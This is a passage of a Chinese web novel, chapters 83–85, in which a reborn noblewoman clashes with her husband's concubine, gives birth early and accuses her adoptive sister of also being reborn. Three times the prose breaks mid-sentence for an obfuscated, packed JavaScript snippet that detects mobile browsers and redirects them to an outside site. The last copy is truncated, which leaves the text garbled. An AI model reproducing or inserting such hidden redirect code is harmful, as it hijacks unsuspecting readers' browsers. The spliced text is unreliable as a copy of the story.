叶蕙珠撅着嘴,低头望了望自己已经八个月大的肚子,“他无论怎么说都是我腹中孩子的父亲,他丢了官,做了草民,那孩子以后可怎么办?” “难道让他跟沈家大郎二郎一样回去种地吗?” 陆怡珊眼底浮现一丝疑惑,“这和种地有什么关系?” “你与他和离,带着孩子回家来,我和你父亲自然会养你后半辈子。何况你如今年轻,和离再嫁也未尝不可!” 似乎怕叶蕙珠没有自信,陆怡珊连忙向她保证,“你放心,你是我的女儿,外祖是陆国公,爹爹又是礼部侍郎,就连你弟弟如今虽然远在岭南,却也很是有出息,带着那里的百姓在修路铺桥。你爹爹说要不了几年,等他任期满了,朝廷论功行赏时再将他调回京城。” “到时候他们都是你的后盾!” 提起在偏远山沟里做县令的叶嘉伦,叶蕙珠眼神有一瞬的不自然。 她抬手拉住陆怡珊的衣袖,像小时候一样轻轻晃动,有些害怕地低下头,“可是,女儿不想跟他和离……” “你说什么?!” 陆怡珊保养得当的脸上皱起几条细纹,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505725|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸写着不可置信,“他都要纳妾了你还不与他和离?这种男人留着干什么?” 叶蕙珠早知道陆怡珊会是这种反应,低头咬着唇道:“可是女儿喜欢他!” 喜欢未必有多深,可叶蕙珠想做诰命夫人是真的! 重生以来她最大的心愿就是能当上诰命夫人,为了这个目标,她不惜抛却顾国公府的贵夫人生活与叶青漓换亲,主动献出自己的嫁妆补贴沈家,四处求人甚至不惜牺牲自己弟弟的利益就为了给沈仕楣的官场铺路,现在又挺着八个月大的肚子辛苦为他怀着孩子。 若是自己与沈仕楣和离了,这诰命夫人的位置岂不是就要拱手让给裘玉莹那个贱人了? 她怎么可能甘心? 陆怡珊身为陆国公府独女,自幼备受父亲和哥哥们的疼爱,从小到大几乎没受过什么委屈,就连婚事上也十分顺遂,一见钟情的人正好也是喜欢自己的人!婚后生下一儿一女,夫妻恩爱几十年,顺风顺水过了一辈子。 唯有在叶蕙珠的婚事上受过最多的气! 她真是一点都不明白沈仕楣那种男人有什么值得叶蕙珠喜欢的? 若说结婚前勉强还能算是个知上进,懂礼貌的后生,那他现在可就是一个彻头彻尾花心又没用的负心汉! 授官时不想吃苦,靠妻家外祖混了个京官,为官时不好好做事,日日与一群莽汉混在一块喝酒,现在就连专一这唯一一个优点也没了,还有什么值得留恋的? 陆怡珊不赞同地瞪了叶蕙珠一眼,对方却像个孩子一样晃着她的衣袖巴巴地眨着眼睛撒娇,“娘,你帮我想想办法吧!” “我不想和沈仕楣和离,但是我又不想他纳妾,有没有什么办法能把那个女人赶走?” 陆怡珊努力压制怒火,太阳穴有些突突的疼。 “拿钱打发人不是不可,只是你要想明白,这一次你拿钱打发了那女子,为了孩子与他和好,他沈仕楣什么损失教训都没有,难免会有下次,下下次!” “难道往后他每遇上一个想纳回家的女子你都要拿钱打发了吗?” 闻言叶蕙珠却天真地笑起来,信誓旦旦道:“娘,不会的!” “那贱人是他表妹,家里比沈家还要穷!只要她主动离开了,相公上哪再去找第二个表妹?” “表妹?”陆怡珊眉心几乎能夹死一只蚊子,“你是说沈仕楣要纳他的表妹为妾!” “嗯。” 陆怡珊无奈闭上眼,长长叹了口气,看向叶蕙珠的眼神里满是心疼,“若只是个寻常女子,娘亲还好帮你打发了,可此人是他表妹,与他有自幼一起长大的情分,爹娘又是知根知底的,为娘实在没有办法啊!” “怎么会?”叶蕙珠有些急了,“给她多多的银子,让她们一家人离开京城也不行吗?” “对她来说一个上好的夫家近在眼前,攀上此人后半辈子都不用愁了。如果你是她,给你多少银子你才愿意走?” “我……” 叶蕙珠沉默了。 陆怡珊看着她哭红的眼睛,又看了眼她笨重的身子,再次长叹一口气。 “罢了!” “你如今身子重不可多思多虑,先在家里好好休息几日,这件事以后再说吧!” 83. 冰肌玉骨 母亲大多心疼孩子,陆怡珊注意到叶蕙珠脸色不对劲,特意为她请了个大夫查看身体情况,得知叶蕙珠气大伤身,险些动了胎气后,心底对沈仕楣越发看不上。 奈何叶蕙珠死活不肯点头和离,陆怡珊只好把那些话藏在心底,一心照顾着女儿身体。 叶修恺骤然听闻女儿归家,十分欢喜,待从陆怡珊口中得知事情原委后,当即勃然大怒! “我们家珠儿可是下嫁到他沈家,他竟敢如此对待珠儿!真是岂有此理!” “和离!现在就与他和离!” 陆怡珊坐在一旁紧紧揪着手帕,“你以为我没跟珠儿提过?可她根本不愿意和离,说是还喜欢那个沈仕楣!她这么痴情,我能有什么办法?” “什么?!” 叶修恺满脸写着不可置信,得到陆怡珊再次点头确认后,恍然想起当初叶蕙珠为了换亲闹的动静,终是重重叹了口气,再未提起此事。 叶蕙珠回了叶府,沈仕楣没了她的阻拦,当天就将裘玉莹纳为妾室,日日宿在她房里,享受着一家之主的权利。 裘氏见儿子过得开心,本也不打算过多插手他的房里事,何况裘玉莹是自己的侄女,在她心里毕竟还是裘玉莹更亲一些。 只是眼看着家里的米粮一日日变少,她终于按耐不住着急,找到沈仕楣。 “你娘子已经回家好几天了,你看看是不是该去把她接回来?” 沈仕楣笑容冷漠,“接她做什么?等她气消了自己就会回来了!” 裘氏终于忍不住抬手在沈仕楣头上重重一敲,“臭小子,你不想要媳妇,娘还想要孙子呢!” “你就是不想跟她过了也得先等她把孩子生下来啊!现在好了,孩子被她带走了,你让娘怎么办?” “可是玉莹已经是我的人了,我怎么能让她无名无分跟着我呢?娘想要抱孙子的话,说不准再过几个月玉莹也能给你生!” “真的?”裘氏忽地眼前一亮,下一刻想到家里快要见底的粮缸,又摇了摇头,“不不!我要蕙珠回来。” “我不管,我现在就想抱孙子!你快去叶府把蕙珠哄回来!要是哄不回来你今天也不用回家了!” “娘!”沈仕楣脸色越发不耐烦,“那就是个母老虎,儿子自从娶了她回来日日受她管制,我好不容易宽松几天,你就不能让我再松快松快吗?” “不行,你快去!” “娘!” “要不我和表哥一起去把表嫂接回来吧!” 两人争执之际,已经梳上妇人发髻的裘玉莹忽然出现,几天过去,她身上更添了几分魅惑之感,沈仕楣一见到她,眉眼不自觉温柔起来。 “你怎么来了?这是我和她之间的事,你不必去。” 沈仕楣牢记自己对裘玉莹的承诺,记着自己要保护她。 裘玉莹体会到他的爱护,一双狐狸眼越发温柔魅人,“表哥的心意我知道,只是此事说到底也是因我而起。” “若我能去叶府向表嫂好好道个歉,解释清楚是我不想被爹娘随便嫁了人,处心积虑勾引的表哥,表哥不过是看在自幼相识的份上想要维护我,想必表嫂看在孩子的份上就会原谅表哥了。” 裘玉莹眼神始终落在沈仕楣身上,口中全说着沈仕楣的好话。 不仅把所有黑锅都背到自己身上,还给沈仕楣打造了一个维护弱小,充满责任感的形象,瞬间让沈仕楣好感倍增。 “既然你执意如此,那就随我一起去吧!” 两人一同登门叶府,不出意外被拦在门口。 沈仕楣在沈家时还能振振有词,到了叶府还未见到陆怡珊和叶修恺,只是看见叶府下人就变得低眉顺眼起来,连带着裘玉莹也不敢大声讲话。 叶府的下人侍立在一旁面无表情说道:“夫人说请姑爷进去,闲杂人等一律赶走!” 裘玉莹闻言有些害怕地攥住了沈仕楣的衣摆,方才还自信满满要保护她的男人却丝毫不敢看她的眼神,而是对着面前的下人彬彬有礼笑起来。 “岳母说得自然在理。” “只是此人是我表妹,并不是什么闲杂人等,若是她不能进去的话,不如就让她等在这门口吧。待我接了娘子回家,再带上她一起回去。” 叶蕙珠虽然是因为沈仕楣纳妾才被气得回府,可是她身为府中小姐,自然不可能将这种事情闹得满府皆知。府中下人只隐约猜到是姑爷惹了叶蕙珠生气,并不晓得这其中正有裘玉莹的缘故,是以并未反驳。 不反驳便是默认了,沈仕楣回头给了裘玉莹一个安心的眼神,“你在此等我一会,我马上就出来。” “表哥……!” 裘玉莹想继续抓着沈仕楣,可男人步履匆匆,眨眼功夫消失在大门后,只留下她孤身一人。 身边只有一个没有表情的叶府下人和她站在一边,裘玉莹忽然觉得有些无助,她下意识摸了摸自己头上发髻,确定没乱后,才揪着手拘谨地站在一旁。 本以为很快就能看见沈仕楣带着叶蕙珠出来,未料过了许久都不见半个人影。 正当裘玉莹等得有些焦急时,府内又出来一个下人,她先是上下打量了裘玉莹一眼,高高在上的态度和叶蕙珠如出一辙,“你就是姑爷的表妹吧?跟我来。” 裘玉莹不明所以,前面的下人说完话后不等她同意就转身离开,直到看见她快消失在走廊拐角裘玉莹才连忙抬脚跟了上去。 “这位姐姐,不知是谁要见我?”裘玉莹尽量放缓了态度,脸上挂着她售卖首饰时最常用的微笑。 未料前面的下人像根本没听见一样,一路沉默着将她带到一处院子。 裘玉莹站在院门口感觉得出,这一间院子几乎比整个沈家都要大。走进小院便是一片开得正艳的花圃,花儿颜色也同她从前见过的不一样,不是她在乡下地方随随便便就能看见的野花,而是真正的名贵花种。 越过花圃裘玉莹被带到一处花厅,她刚要抬步走进去,花厅里的人却忽然开口,“你就站那吧,别脏了我的地方。” 裘玉莹身形微顿,收回刚刚抬起的右脚,站在了日光下。 抬眸看向坐在花厅中悠闲插着花的叶蕙珠,眉眼霎时笑起来,“我还以为表哥会比我先见到表嫂呢?没想到表嫂更想先看见我。” “哼!”叶蕙珠冷哼一声,“别给你自己脸上贴金了!” “我叫你来是想问问你,要怎么样你才肯离开相公?” 裘玉莹微笑,“我听不懂表嫂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515925|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思。” “别装蒜了!”叶蕙珠没了耐心,将手中剪刀放下,描画精致的双眸转而看向裘玉莹,“你勾引相公不就是为了银子?你说说要给你多少银子,你才肯离开他?” “一百两够不够?” “两百两?” 裘玉莹笑了,“原来在表嫂心中表哥就值这些银子?” “你……!” 叶蕙珠一噎,正要发作又听裘玉莹开口,“表哥待我的好,可不是银子能衡量的!” “表嫂看我头上的头上的发簪,不过是最简单的木头款式,可是表哥说这上面有只兔子和我们小时候养的那只长得一样,所以他跑了三条街也要买来送给我。” “还有我今日的发式,也是表哥说我这样好看我才挽成这样的。” 叶蕙珠目光不自觉跟着裘玉莹的话往她头上看,待看清她梳着妇人发髻时,手心的花枝瞬间被折断。 好你个沈仕楣,我不在家竟然就已经将这个贱人纳为妾室! 看着叶蕙珠眸中怒火渐起,裘玉莹只觉得痛快。 这几日她已经从沈仕楣口中套出不少有关叶蕙珠的事情,不仅知道了两人婚事来由,甚至知道了叶蕙珠最讨厌什么人? 霓裳阁的东家,顾国公府大少奶奶,叶蕙珠的义妹,也是那日唯一一个开口帮过她的人! 她在叶蕙珠面前悠悠转了个身,方才将她带来花厅的下人立刻警惕地瞪了她一眼,裘玉莹只作不知,在叶蕙珠面前两步远的地方停了下来,微微俯下身子向她凑近了些,“表嫂再看看我的脸,有没有觉得有什么不同?” 白里透着红的脸蛋停留在眼前,叶蕙珠转动双眸死死地盯着那张狐媚脸,恨不能用眼神看出个洞来。 不等她找出不同,裘玉莹便主动解释,“表哥说我生得好,正是该涂脂抹粉打扮自己的年纪,特意在下值后绕路去京城有名的霓裳阁给我买了这盒胭脂。” 提及霓裳阁三个字,叶蕙珠果然呼吸越发急促,眸间恨意也更深几分,裘玉莹嘴角笑意愈浓,“表嫂你瞧,表哥为我选的这一款名叫‘冰肌玉骨’,霓裳阁的掌柜可说了,这一款多是男子买来送给最心爱的女子的!” “你说什么?” 叶蕙珠脸色大变! 裘玉莹心底快意愈深,正要详细说说这几日沈仕楣对她的疼爱和照顾,却见对面的女人忽然站了起来,紧紧抓着她的衣领。 裘玉莹面露不快,挣扎时偶然对上叶蕙珠黝黑的眸子,里面浓浓的嫉妒和不甘不知何时全都化为难以置信。 “你说这款胭脂叫什么名字?” 裘玉莹微愣,她该介意的不是‘最心爱的女人’吗? 她没有多想,又重复一遍。 “冰肌玉骨!” “冰肌……玉骨……?”叶蕙珠失神地松开手,目光呆滞地望向地面,口中念念有词,“冰肌玉骨……霓裳阁……怎么会?” “难道叶青漓也回来了……不会!不会的!叶青漓怎么可能……?!” 叶蕙珠像突然魔怔一样疯狂地摇着头,裘玉莹觉得古怪,以为她酝酿着又想扇自己巴掌,连忙后退几步,却听一旁的侍女忽然大声叫喊。 “姑娘,你流血了!” 84. 早产 叶蕙珠早产了! 事情发生得太突然,她身边的侍女一时惊慌不知如何反应,扶着她大喊大叫。 裘玉莹愣神片刻,连连向后退去。 她知道裘氏对这个孩子有多期待,万不能让自己和叶蕙珠早产扯上关系! 叶蕙珠院中的丫鬟们因为太过慌乱一时竟没人察觉到她的离去。 前厅内,沈仕楣正一脸惶恐地跪在地上,低着头,满脸愧疚。 “岳母,小婿知错了!” “小婿不该惹珠儿伤心,更不该让她挺着大肚子回娘家,都是小婿的错!” “以后我一定事事以珠儿为先,纳妾之前都会过问她的意思。” “你还想纳妾?” 陆怡珊语调高亢,眼中满是怒火。 低头俯视时,才发觉沈仕楣那张老实愧疚的脸上,隐藏着几分难以察觉的讥讽和得意。 “你……!” “夫人,不好了!小姐要生了!” “什么?” 下人的一句话让陆怡珊忘了自己要脱口而出的训斥,她瞬间慌了神,三步并作两步赶到叶蕙珠的小院。 “啊——!” 刚踏进院门口,耳边就传来叶蕙珠凄惨的痛呼。 陆怡珊心跳慢了半拍。 “珠儿!” “娘!” 叶蕙珠慌乱的心仿佛找到了主心骨,紧张地看着陆怡珊,“娘,我的肚子好痛!” 夏日炎炎,叶蕙珠只穿着一身杏黄色纱裙,刺目的血顺着她大腿流下,已将裙子染成红色。 “珠儿别怕!娘在!” 陆怡珊看着这一幕有一瞬间的晕厥,幸而她还记着如今叶蕙珠能依靠的只有她一人,坚强地撑住了。 她努力保持冷静,维持表情镇定,“来人,扶小姐回房,将大夫请来,再去找几个稳婆!” “让厨房多烧些热水放凉备用,再准备干净的布巾!” “快去!” “是!” 下人们不再无头乱窜,有条不紊地按照吩咐行事。 陆怡珊心疼叶蕙珠,自上次大夫交代她情况不好后,便一直留着大夫在府中,没过多久,大夫赶来为叶蕙珠做了检查。 亲耳听见女儿面临早产,且胎位不正极有可能凶多吉少时,陆怡珊彻底腿软了! 她撑着一口气,努力维持镇定目送叶蕙珠进产房,因疼痛而几番昏过去的女子却忽然睁开眼睛。 “娘……” “珠儿!” 陆怡珊忙握住叶蕙珠的手,未提及大夫的话,只微笑着看她,“娘在这,你安心生产,其他的都不用操心,沈家的事娘自会为你做主!” 脸色苍白到极点的女子却轻轻摇了摇头,开口道:“我想见叶青漓……” “好……什么?”陆怡珊大脑一时转不过弯来。 叶青漓,那个义女,珠儿生产时见她做甚? 对上叶蕙珠虚弱到极点的样子,陆怡珊说不出拒绝的话,只能连声应着她。 “好好好,娘马上叫人去通知她,等你生完孩子,马上就能看见她,好不好?” 叶蕙珠闻言,终于放心地进了产房。 房门关上的那一刻,陆怡珊脸上的微笑同时消失。 她僵着脸,冷声吩咐道:“来人,去把姑爷带过来,让他跪在外面,好好守着!” “是。” “去几个人,到顾国公府把二小姐叫回来,无论她愿不愿意,务必把她带来!” “是!” “老爷今日在礼部上值,去几个人通知他回府。” “是。” 陆怡珊一字一句吩咐罢,眸光森冷,“再去沈家通知一声,珠儿要生了。不管他们一个个的都在做什么,叫他们全部过来!” “是。” 陆怡珊一口气发出数道命令,下人们连声应是鱼贯而出。 * 八月十七,宜开业。 叶青漓专门请了个戏班来给新开的酒楼剪彩。 一对舞狮在门前嬉戏玩闹,一同抢夺酒楼门前挂着的‘头彩’。它们身形魁梧,动作精彩,打闹时憨态可掬,引得路人纷纷过来围观,不一会酒楼门前就聚满了人。 待到人声鼎沸之时,两只舞狮终于分出胜负,只见一只红狮脚下生风,踩着对面黄狮的头跃至高处,轻而易举夺得‘头彩’。 “好!” 人群中发出叫好的呼声,叶青漓看得入神,也和身旁的申氏一起为红狮鼓掌喝彩。 与此同时,从酒楼二楼一直延伸到地面的大红鞭炮忽然响起,噼里啪啦,很是热闹! 鞭炮响尽,酒楼门前的地面上铺满了红纸,尽显喜庆。叶青漓挑好的掌柜趁着此时站出来宣布酒楼开业,拿出部分美食免费请路人品尝,又将开业三天全场五折的好消息宣布至众人耳中,酒楼里瞬间挤满了人。 “看来咱们酒楼的生意马上就要好起来了!”申氏许久没看见这么热闹的场景,笑着对叶青漓说道。 叶青漓闻言点头微笑。 正热闹着,采莲忽然从人群中挤到她身边,凑到叶青漓耳边道:“小姐,叶府来人说大小姐要生了,请小姐回去看看。” 叶青漓眸间笑意化为淡淡疑惑,“叶蕙珠要生了?” 她下意识回头看了眼自己新开张的酒楼,“我记得她的肚子才八个月吧,怎么这么早就生了?” 采莲摇头。 叶青漓也没多想,她如今是叶府义女,虽与叶蕙珠关系不算亲近,她怀孕生子这样的大事,理当去看看。 “好,我知道了,等酒楼这边忙完了,我就过去。” 采莲却皱着一张脸,眼底颇为不忿,“叶府的人说请小姐现在就出发,最好一刻也不要耽误!” 叶青漓更觉奇怪,她第一时间赶到,对叶蕙珠生产貌似也起不到什么助力啊! 她没有多说,与申氏交代一句后上了马车。 看见马车停在叶府门前后,叶青漓眼底闪过一丝微不可见的疑惑。 从时间上看,叶蕙珠应是早产了,可她生产不是在沈家而是在叶府,又如此急着想见自己,到底发生了什么? 叶青漓表面上泰然自若,实则跟在叶府下人身后不动声色地观察四周。 一路行至叶蕙珠的院子,并没发现什么异常。 直到她进门时,看见沈仕楣直挺挺跪在地上眼神期待地看向陆怡珊怀里的襁褓。 对面的陆怡珊眼眶微红,像是哭过,看向怀中襁褓时眼底的笑意几乎溢出来。 叶青漓停下脚步,冲着陆怡珊微微点头,“母亲。”略顿了顿,又装作无事发生向地上的沈仕楣分了个眼神,“姐夫。” “听说姐姐要生了,不知现在如何?” 陆怡珊抱着手里的襁褓轻柔地摇晃,“珠儿刚刚生产完,母女平安!” “那真是太好了!”叶青漓微笑,顺势上前两步,“快让我看看……” 她一靠近,陆怡珊忙退后两步抱着孩子转了个身,语气微冷,“孩子还小,不宜沾染太多大人身上的浊气。” “珠儿刚生产完,心情不好,你和她是姐妹,进去陪她说说话吧。” 叶青漓停下脚步,笑意微敛。 “好的。” 她抬眸看了眼紧闭的房门,思及此处奇怪的气氛,慢慢没了笑意。 “对了。”叶青漓刚要抬手推门,身后再次传来陆怡珊的声音,她眼神睥睨,带着警告的语气,“珠儿刚生产完,身子虚弱,若说话时语气冲了些,你多担待点,不要和她争执。” 叶青漓点头,陆怡珊为人父母,叶蕙珠又刚经历人生大事,她能理解。 进屋后,叶青漓一眼就看见正半靠在床上的叶蕙珠。 她体态丰腴了些,圆润的脸上此刻没多少血色,苍白的嘴唇有些干燥,额间发丝湿成一缕缕散落在耳际,足见她刚刚生产花了多少力气。 大约是生产时流了太多的血,屋子里还有一股淡淡的血腥气,如今天气炎热,陆怡珊怕开窗后叶蕙珠吹冷风伤了身子,四周房门紧闭,屋子里的味道便有些难以形容。 叶青漓屏了屏气,走到床前,礼貌冲她微笑,“恭喜姐姐早生贵子,得偿所愿。” 叶蕙珠从叶青漓进来后目光就落在她脸上从未离开过。 她仔细打量着叶青漓的眉眼和走路姿势,确认她走路的动作和自己前世认识的人一模一样,但是她的眼神以及表情,还有进来后随意张望四周的神态,完全和前世那个唯唯诺诺,胆小没有主见的叶青漓不一样! 叶青漓恭喜完等着叶蕙珠得意炫耀一通,就准备完事离开,怎料站在原地半天,都没等来对方开口。 她越发觉得不对劲,抬眸对上叶蕙珠的眼睛,对方的眼神里满是探究。 憋闷的屋子里,一道沙哑的声音缓缓响起。 “冰肌玉骨——岭南雾来阁珍品,南朝三十六年流入京城,因其敷在脸上能显示出美玉一般的细腻质感,吸引京城贵妇喜爱,一时人人以拥有一盒冰肌玉骨为荣!” 叶青漓刚听见冰肌玉骨四个字的时候,嘴角笑容僵住,听完叶蕙珠的话后,脸上彻底没了虚假的笑意,只是站在原地淡定地看着对方。 叶蕙珠说话的时候始终在观察叶青漓的表情,见她不笑了,连忙激动得伸手指向她,眸中满是惊愤。 “你也重生了!对不对!” 叶青漓没有说是,也没说不是。 因为床上的叶蕙珠根本不需要她的回答,她痴狂地看着叶青漓,眼里是浓浓的怨恨。 “你从我提出换亲时就知道我重生了,但是你没有暴露自己,反而躲在背后偷偷看我笑话!看我放弃顾国公府这个大好的亲事,选择沈仕楣,看着我嫁进沈家吃尽苦头,看着我用尽手段到头来被沈仕楣背叛!” “你是故意的!一切都是你故意的!” 叶蕙珠产后虚弱不已,仍旧对着叶青漓声嘶力竭发泄愤怒。 叶青漓站在离她几步远的地方安静看着她,直到她力气用尽,骂得累了,才淡然开口。 “没错,我和你一样。” “但是你现在的结果并不是我造成的!” 叶蕙珠抬眼瞪她,叶青漓毫不畏惧瞪回去,“你是叶家的女儿,娘亲是陆国公独女,你的婚事完全是你自己做主的,我并没有插手的权利。” “换亲的时候我只是叶家的义女,除了答应没有别的选择。嫁给沈仕楣是你自己选的,至于后来怀孕生子,包括现在早产也都是你自己选择的结局。” “与我无关。” “怎么和你没关系?如果当初你站出来拒绝,一切都会和现在不一样!” “如果当初你不想着把你不愿要的婚事推给我,一切也会不一样!” 叶蕙珠一滞。 叶青漓语气微冷,“我是叶府义女,你好端端多了陌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看着几乎去了半条命的叶蕙珠,缓缓开口,“历经两世,我悟出一个道理:日子是给自己过的,想过成什么样,完全由你掌握。” “我虽不知你这次为何早产,多少也能猜到是和沈仕楣有关,此人无良无德,做官的本事也一般般,你不如趁早与他和离了,日子还松快些!” 安静了许久的叶蕙珠闻听此话,终于有了动静。 她扭过头来,黝黑的眸子死死地盯着叶青漓,空洞的眼神令人后背发凉。 “呵呵,你以为你如此说我就会信你了?” 叶青漓:“?” “沈郎将来可是栋梁之材,能给我带回诰命夫人,你以为你随口说他两句我就会信了你的鬼话与他和离?” 叶蕙珠情绪忽然激动起来,半靠在床上几乎手舞足蹈,“他是在我孕期纳妾了,可那又怎样,男人三妻四妾是很正常的事!只要我忍下此事,与沈郎和好,凭他的本事将来有的是荣华富贵等着我!” “你不过是羡慕我,嫉妒我,怕我将来过得比你好!” 叶蕙珠忽然想到什么,眼里又有了光,她抬眸上下将叶青漓审视了一番,目带讥讽,“在顾国公府守活寡的日子很难熬吧?” “顾承宴再有才,再优秀又怎样?一个不能人道的短命鬼,将来必定走在你前头!到时候顾国公府的爵位和家产都在赵氏和她儿子手里,你不过空有一个顾国公府大少奶奶的名头而已!” “呵哈哈哈哈哈!” 叶青漓错了! 她就不该对叶蕙珠心软,好心被人当成驴肝肺,实在憋屈! 她沉下脸,冷声道:“既然你已经看开了,那我就预祝你得偿所愿。天色不早,我该回了!” “你瞧,被我说中了吧!哈哈哈哈哈哈!” 叶青漓面无表情出了房间,方才跪在门外的沈仕楣不见踪影,就连一直抱着孩子的陆怡珊也消失了。 她顺着走廊一直往外走,越过第二道门才遇上守在此处担心不已的陆怡珊,身后的院子里依旧能传来叶蕙珠放肆的大笑。 陆怡珊有些警惕地看着叶青漓,“珠儿为何发笑?你们说了什么?” 叶青漓看她站在此处就明白了叶蕙珠不想让陆怡珊知道重生的事实。 正好叶青漓也不想告诉她,于是随口敷衍道:“姐姐得知自己平安产下一女很是高兴,顺便催了催我的肚子!” 陆怡珊熟悉叶蕙珠的性格,知道她不可能只是说了这么一句话,能笑得这么开心,定然是在叶青漓面前狠狠炫耀了什么。 她顺着叶青漓的话目光落在那平坦不已的小腹上,提着的心终于放下来。 “原来如此,你与珠儿同日出嫁,现在却没半点好消息,是该上上心了。”陆怡珊丝毫不顾对面叶青漓的脸色有多难看,兀自说道:“难为你一收到消息就赶过来,你父亲一会就回来,不如在府中用个晚膳吧!” “不用了,天色不早,我还是快些回府吧。” 陆怡珊不过是随口客气,闻言便放心让叶青漓离开,自己快步走向叶蕙珠的房间查看情况。 叶青漓则摇摇头,顺着长廊向着叶府门口走去。 上一世,叶青漓和叶蕙珠的交集并不多。 叶蕙珠的福不是从叶青漓这夺来,叶青漓的苦也不是叶蕙珠造成,所以她并不恨她。 这世上,叶青漓最恨的只有一个人…… 长廊尽头忽然出现一个身影渐渐向着这边靠近,待离得近了叶青漓才看清对方的面孔。 “青漓?你怎么在这?是来看你姐姐的?” 叶青漓定住脚步,唇角微弯。 “父亲。” 85. 疼疼弟弟 叶修恺一身官服,显然是刚从礼部回来,他神色匆匆,脸上略有几分焦急。 “我得到消息姐姐生了,便前来看望。”叶青漓说着,向叶修恺行了一礼,“姐姐刚生下一女,母女平安,女儿恭喜父亲!” 叶修恺闻言一颗心终于放回肚子里,摸着胡子笑起来,眼底的高兴藏也藏不住,“珠儿一向性子娇,为父还以为她吃不了苦,没想到这么快就生了个孩子!” “哈哈哈哈哈哈!” 他笑着,眼神忽然挪到叶青漓身上,略微奇怪,“你也成婚快一年了,怎么一直没个动静?” 叶府的人果然一个比一个讨厌。 叶青漓腼腆地笑了笑,“夫君事忙,再说此事也急不得。” “确实。”叶修恺点点头,“我听说顾承宴如今在太子手底下做事,深得太子信任,夏猎时甚至日日带在身边,想必如今他说话已比顾国公更有分量!” 叶青漓眼神微闪,笑容不变,“父亲说笑了,女儿不懂朝中事,夫君又不曾与我提起,哪里知道这些?” “你与他是夫妻,夫妻之间哪有什么不能说的?正好我这有件事需要你开口。”叶修恺笑意渐深,眸中闪过几许算计,“我瞧承宴如今在太子面前得势,想必调个人回京城也没什么问题。” “你弟弟你是知道的,他从小没吃过什么苦,如今去了岭南,日日与那些百姓一起铺路修桥,身为县令还要以身作则,整个人瘦了一圈,手上还起了好些茧子。” “你是他姐姐,不如疼疼他,与承宴说说请他让太子将嘉伦调回来吧!” 岭南——多么熟悉的地方,当初沈仕楣授官不就被分在岭南,叶青漓上一世从那里起家,自然印象深刻。 如今叶嘉伦和沈仕楣,一个在岭南,一个在京城,叶青漓不难猜到这其中有叶蕙珠的手笔,他亲姐姐都不心疼,让叶青漓这个‘义姐’心疼什么? 叶青漓看着叶修恺眼底真切的心疼,心中只觉得讽刺! 不过是手心的几个茧就让他心疼至此,那娘亲当初供他读书时为了补贴家用,夏日砍柴,冬日浆洗,上山采药,下水摸鱼,身上的晒伤,冻伤,摔伤,刺伤都算什么? 娘亲为了他付出一切,他却卷走家财,抛妻弃女,然后在自己面前心疼他和别人的孩子? 叶青漓‘不知道’自己的身世,亲自将她从街上捡回来认为义女的叶修恺还不知道吗! 他怎么有脸要求自己心疼他的其他孩子? 叶青漓蓦地笑了。 叶修恺见她微笑,以为叶青漓是同意了,捻着胡子正要表扬几句,就听见对面的女子冷声回复,“夫君做的事情我一向不插手,父亲交代的事情我恐怕也无法完成。” 叶修恺当即皱起眉,不悦地看向叶青漓,“你是不能还是不想?” “我可听说顾国公府如今连中馈都是你在管理,那顾承宴对你也是予取予求,只要你开口,他怎么会不答应?” 叶青漓瞳孔微缩,没想到叶修恺竟然对顾国公府的事了解得如此详细?她脑中快速划过自己陪嫁来的那些下人,思索着告密之人是谁? 还未理清之际,叶修恺已经因为她良久的沉默感到不耐。 他微眯起眸子睨了她一眼,语带威胁,“还是你以为嫁进顾国公府就可以不管叶府,也可以不听我的话了?” “哪里的话?”叶青漓连忙解释,“女儿永远都记得是父亲将我从街上救了回来,若不是父亲,女儿恐怕早就死在那里,父亲的救命之恩和认养之情女儿永世不忘!” 她恭敬地低着头,口中的话让叶修恺终于露出一个满意的笑。 只是这笑容出现不过一刻叶青漓又道:“女儿会回报父亲,但是这件事上女儿恐怕帮不了忙。” “父亲还是另找他人吧!” “你……!” 叶青漓依旧低着头,脸上挂着完美不失恭敬的微笑,她抬步从容从叶修恺身侧经过,心如铁石。 耳后却传来男人压抑带着怒火的威胁,“当真是我的好女儿!如今翅膀硬了,竟连我的话都不听了!” “不过是求你办件小事,你都不愿意,为父日后还能指望你为我做什么?既如此,便将我给你的那五万两银子还回来吧!” “父亲说什么?什么五万两?”叶青漓眨眨眼,一脸懵懂。 叶修恺脸色更黑几分,“你大婚前夕我亲手交到你手上的五十张银票,你难道忘记了?” “这可不是一笔小数目,你难道想不认账!” 叶青漓摇头,眸间依旧天真,“女儿不明白父亲的意思,那五万两不是父亲送给女儿的体己银子吗?” “当时女儿还惊讶,父亲虽是礼部侍郎,官拜三品,可是一年俸禄不过两百两,这些年积累起来,再加上母亲辛苦经营的收益,五万两也有些超过了吧……” “住口!” 叶修恺忽然大喝一声,止住了叶青漓的未尽之言。 他眸色微厉,眼神冰冷又无情,仿佛要穿透她的身体看透这个人。 